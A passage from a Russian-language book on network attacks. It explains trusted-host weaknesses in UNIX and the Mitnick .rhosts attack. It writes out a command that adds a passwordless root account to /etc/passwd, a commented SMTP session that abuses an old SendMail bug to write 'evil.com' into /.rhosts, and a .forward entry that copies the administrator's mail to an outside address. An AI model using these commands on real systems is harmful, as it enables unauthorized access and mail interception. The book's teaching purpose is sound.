Техника сетевых атак
Шрифт:
На каком же основании выдаются сертификаты, определяются защищенные системы? Забавно, но ни на каком. Выдача сертификата - сугубо формальная процедура, сводящаяся к сопоставлению требований, предъявленных к системе данного класса с заверениями разработчиков. То есть - никакой проверки в действительности не проводится (да и кто бы стал ее проводить?). Изучается документация производителя и на ее основе делается вывод о принадлежности системы к тому или иному классу защиты. Конечно, это очень упрощенная схема, но, тем не менее, никак не меняющая суть - сертификат сам по себе еще не гарантирует отсутствие ошибок реализации, и ничем, кроме предмета гордости компании, служить не может. Практика показывает, - многие свободно распространяемые клоны UNIX
Другая уязвимость заключается в наличие так называемых доверенных хостов, то есть узлов, не требующих аутентификации. Это идет вразрез со всеми требованиями безопасности, но очень удобно. Кажется, если «по уму» выбирать себе «товарищей» ничего плохого случиться не может, конечно, при условии, что поведение всех товарищей окажется корректным. На самом же деле сервер всегда должен иметь способ, позволяющий убедится, что клиент именно тот, за кого себя выдает. Злоумышленник может изменить обратный адрес в заголовке IP пакета, маскируясь под доверенный узел. Конечно, все ответы уйдут на этот самый доверенный узел мимо злоумышленника, но атакующего может и вовсе не интересовать ответ сервера - достаточно передать команду типа «echo "kpnc::0:0:Hacker 2000:/:"» /etc/passwd» [108] и систему можно считать взломанной.
Наконец, можно попробовать проникнуть в доверенные хосты или к доверенным доверенных… чем длиннее окажется эта цепочка, тем больше шансов проникнуть в систему. Иногда приходится слышать, якобы каждый человек на земле знаком с любым другим человеком через знакомых своих знакомых. Конечно, это шутка (Вы знакомы с Билом Гейтсом?), но применительно к компьютерным системам… почему бы и нет?
Обычно список доверительных узлов содержится в файле “/etc/hosts.equiv” или “/.rhosts”, который состоит из записей следующего вида “[имя пользователя] узел”. Имя пользователя может отсутствовать, - тогда доступ разрешен всем пользователям с указанного узла. Точно такого результата можно добиться, задав вместо имени специальный символ “+”. Если же его указать в качестве узла - доступ в систему будет открыт отовсюду.
Небезызвестный Кевин Митник в своей атаке против Цутому Шимомуры, прикинувшись доверительным узлом, послал удаленной машине следующую команду “rsh echo + +»/.rhosts”, открыв тем самым доступ в систему. Любопытно, но схема атаки была не нова - задолго до Митника, Моррис - старший предсказал ее возможность, поместив подробный технический отчет в февральский номер журнала Bell Labs, выпушенный в 1985 году (Митник же атаковал Шимомору в декабре 1994 - практически на десятилетие позже). Доподлинно не известно знал ли он о существовании статьи Морриса или до всего додумался самостоятельно, приоритет остается все равно не за ним.
Другая классическая атака основана на дырке в программе SendMail версии 5.59. Суть ее заключалась в возможности указать в качестве получателя сообщения имя файла “.rhosts”. В приведенном ниже протоколе, читателю, возможно, встретятся незнакомые команды (детально описанные в главе «Протоком SMTP»), но подробные комментарии должны помочь разобраться в механизме атаки даже неподготовленным пользователям.
· # Соединяется с узлом - жертвой [109] по протоколу SMTP с 25 портом
· telnet victim.com 25
·
· #Указываем в качестве адреса получателя сообщения имя файла “/.rhosts”
· rcpt to: /.rhosts
·
· #Указываем адрес отправителя сообщения
· mail from: kpnc@aport.ru
·
· #Начинам ввод текста сообщения
· data
·
· #Вводим любой текст (он
· Hello!
·
· #Точка завершает ввод сообщения
·.
·
· #Новое сообщение
· #Указываем в качестве адреса получателя имя файл “/.rhosts”
· rcpt to: /.rhosts
·
· #Указываем адрес отправителя сообщения
· mail from: kpnc@aport.ru
·
· #Начинам ввод текста сообщения
· data
·
· #Вводим имя собственного хоста или любого другого хоста, к которому есть доступ
· evil.com
·
· #Точка завершает ввод сообщения
·.
·
· #Завершение транзакции и выход
· quit
С этого момента взлом можно считать завершенным. Остается подключится к удаленному узлу и делать на нем все, что заблагорассудиться. Все, за исключением, невозможности посредством протокола rlogin войти под статусом супер-пользовтаеля.
Однако подобные атаки слишком заметны и вряд ли останутся безнаказанными. В UNIX, как и в большинстве других сетевых операционных систем, все потенциально опасные действия (будь то копирование файла паролей или создание нового пользователя) протоколируется, а замести за собой следы не всегда возможно - изменения в файлах протокола могут незамедлительно отсылаться на почтовый ящик администратора, или даже на пейджер [110]!
Тем более, “/.rhosts” это не тот файл, в который никто и никогда не заглядывает. В том же случае с Митником - модификация “/.rhosts” не осталось незамеченной. Гораздо халатнее большинство администраторов относятся к вопросам безопасности личной почты. А ведь злоумышленнику ничего не стоит так изменить файл “/.forward”, перехватывая чужую личную почту, в том числе и root-а. Конечно, наивно ожидать увидеть в почте пароли, но, тем не менее, полученная информация в любом случае значительно облегчит дальнейшее проникновение в систему, и даст простор возможностей для социальной инженерии. Подробнее об конфигурировании SendMail можно прочесть в прилагаемом к нему руководстве и в главе «Почтовый сервер изнутри».
Ниже приведен пример записи, которую необходимо добавить в файл “/.forward” для перехвата почты администратора (при условии, что его почтовый адрес выглядит как root@somehost.org). Теперь все письма, поступающие администратору системы, будут дублироваться на адрес kpnc@hotmail.ru
· \root, root@somehost.org, kpnc@hotmail.ru
Точно такую операцию можно проделать и со всеми остальными пользователями системы. Для этого достаточно изменить файлы “.forward”, находящиеся в их домашних каталогах, а, поэтому, обычно не контролируемые администратором. Опытные пользователи могут самостоятельно редактировать свои конфигурационные файлы. Поэтому, за всеми уследить невозможно, - откуда администратору знать, кто внес эти изменения - легальный пользователь или злоумышленник? Конечно, в приведенном выше примере все довольно прозрачно, но если не трогать файлы администратора, велики шансы того, что проникновение в систему станет замеченным не скоро, если вообще будет замечено.